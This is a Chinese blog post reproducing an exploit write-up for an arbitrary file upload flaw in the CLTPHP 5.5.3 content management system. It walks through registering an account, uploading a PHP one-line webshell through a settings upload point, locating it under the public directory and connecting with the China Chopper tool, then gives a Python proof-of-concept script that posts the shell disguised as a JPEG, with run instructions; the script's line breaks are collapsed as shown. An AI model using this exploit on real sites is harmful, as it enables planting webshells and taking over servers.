热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CLTPHP5.5.3任意文件上传漏洞

一、漏洞简介CLTPHP采用ThinkPHP开发,后台采用Layui框架的内容管理系统。二、漏洞影响CLTPHP5.5.3三、复现过程找到一个注册界面随便注
一、漏洞简介

CLTPHP采用ThinkPHP开发,后台采用Layui框架的内容管理系统。

二、漏洞影响

CLTPHP 5.5.3

三、复现过程

找到一个注册界面
在这里插入图片描述
随便注册一个用户,登陆后在设置里找到一个上传点

在这里插入图片描述

上传我们的一句话木马
在这里插入图片描述
查看返回包,上传成功
在这里插入图片描述
访问失败,猜测返回路径可能不是绝对路径
在这里插入图片描述
通过报错信息查找关键词,发现存在public目录 那再把public加上再试试~ success!
在这里插入图片描述
菜刀连接
在这里插入图片描述

PoC

payload.py

#!/usr/bin/python
#-*- coding: UTF-8 -*-
#Author:Bypass
#Date:2018.03.01
import requests
import sysdef CLPHP_upload(url):header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' ,'X-Requested-With': 'XMLHttpRequest',} geturl = url+"/user/upFiles/upload"files ={'file':('1.php',open('1.php','rb'),'image/jpeg')}res = requests.post(geturl, files=files,headers=header)print res.textif __name__ == "__main__":if len(sys.argv) == 2:url=sys.argv[1]CLPHP_upload(url)sys.exit(0)else:print ("usage: %s xxx.com " % sys.argv[0])sys.exit(-1)

使用方法

把payload.py和一句话.php放到同一文件夹下
在这里插入图片描述
cmd执行 python payload.py www.0-sec.org
在这里插入图片描述

参考链接

https://www.cnblogs.com/unixcs/p/11244463.html


推荐阅读
  • 本文介绍了如何使用Python爬取妙笔阁小说网仙侠系列中所有小说的信息,并将其保存为TXT和CSV格式。主要内容包括如何构造请求头以避免被网站封禁,以及如何利用XPath解析HTML并提取所需信息。 ... [详细]
  • 本文详细探讨了使用Python3编写爬虫时如何应对网站的反爬虫机制,通过实例讲解了如何模拟浏览器访问,帮助读者更好地理解和应用相关技术。 ... [详细]
  • 2020年9月15日,Oracle正式发布了最新的JDK 15版本。本次更新带来了许多新特性,包括隐藏类、EdDSA签名算法、模式匹配、记录类、封闭类和文本块等。 ... [详细]
  • 我有一个从C项目编译的.o文件,该文件引用了名为init_static_pool ... [详细]
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • 本文介绍了 Go 语言中的高性能、可扩展、轻量级 Web 框架 Echo。Echo 框架简单易用,仅需几行代码即可启动一个高性能 HTTP 服务。 ... [详细]
  • 自然语言处理(NLP)——LDA模型:对电商购物评论进行情感分析
    目录一、2020数学建模美赛C题简介需求评价内容提供数据二、解题思路三、LDA简介四、代码实现1.数据预处理1.1剔除无用信息1.1.1剔除掉不需要的列1.1.2找出无效评论并剔除 ... [详细]
  • Cookie学习小结
    Cookie学习小结 ... [详细]
  • python模块之正则
    re模块可以读懂你写的正则表达式根据你写的表达式去执行任务用re去操作正则正则表达式使用一些规则来检测一些字符串是否符合个人要求,从一段字符串中找到符合要求的内容。在 ... [详细]
  • 包含phppdoerrorcode的词条 ... [详细]
  • C#实现文件的压缩与解压
    2019独角兽企业重金招聘Python工程师标准一、准备工作1、下载ICSharpCode.SharpZipLib.dll文件2、项目中引用这个dll二、文件压缩与解压共用类 ... [详细]
  • Spring Data JdbcTemplate 入门指南
    本文将介绍如何使用 Spring JdbcTemplate 进行数据库操作,包括查询和插入数据。我们将通过一个学生表的示例来演示具体步骤。 ... [详细]
  • 为什么多数程序员难以成为架构师?
    探讨80%的程序员为何难以晋升为架构师,涉及技术深度、经验积累和综合能力等方面。本文将详细解析Tomcat的配置和服务组件,帮助读者理解其内部机制。 ... [详细]
  • Spring 中 Bean 信息定义的三种方法探讨
    本文详细探讨了 Spring 框架中实现 Bean 信息定义的三种方法:基于 XML 配置、基于注解配置和基于 Java 类配置。每种方法都有其适用场景和优缺点。 ... [详细]
  • 本文介绍如何在 Android 中自定义加载对话框 CustomProgressDialog,包括自定义 View 类和 XML 布局文件的详细步骤。 ... [详细]
author-avatar
xiaohigh
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有